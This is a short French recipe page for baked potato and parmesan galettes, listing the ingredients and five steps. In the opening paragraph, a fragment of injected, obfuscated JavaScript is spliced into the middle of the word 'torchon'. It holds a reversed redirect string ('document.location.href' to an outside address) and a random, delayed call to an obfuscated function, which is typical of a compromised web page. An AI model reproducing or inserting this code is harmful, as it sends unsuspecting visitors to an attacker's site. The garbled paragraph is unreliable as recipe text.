Galettes de pommes de terre avec du parmesan

2021-02-27

Pelez, rincez les pommes de terre. Les râper et les sécher dans un tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torchon. Mélangez le jaune d’œuf avec un peu d’origan, le parmesan, 1 filet d’huile de colza.

Ingrédients

  • Pour 4 personnes
  • 10 pommes de terre de taille moyenne
  • 1 jaune d'œuf
  • 100 g de parmesan
  • L'origan
  • L’huile de colza
  • Sel – poivre

Préparation de la recette

Etape 1

Pelez, rincez les pommes de terre. Les râper et les sécher dans un torchon.

Etape 2

Mélangez le jaune d'œuf avec un peu d'origan, le parmesan, 1 filet d'huile de colza.

Etape 3

Bien mélanger, incorporez les pommes de terre râpées, salez, poivrez. Formez des petites galettes que vous déposez sur la plaque du four.

Etape 4

Arrosez d'un filet d'huile de colza; préchauffez le four à 180° C thermostat 6. Enfournez et faites cuire pendant 35 à 40 minutes, en surveillant la cuisson.

Etape 5

Sortez les galettes du four et dégustez avec une salade verte.

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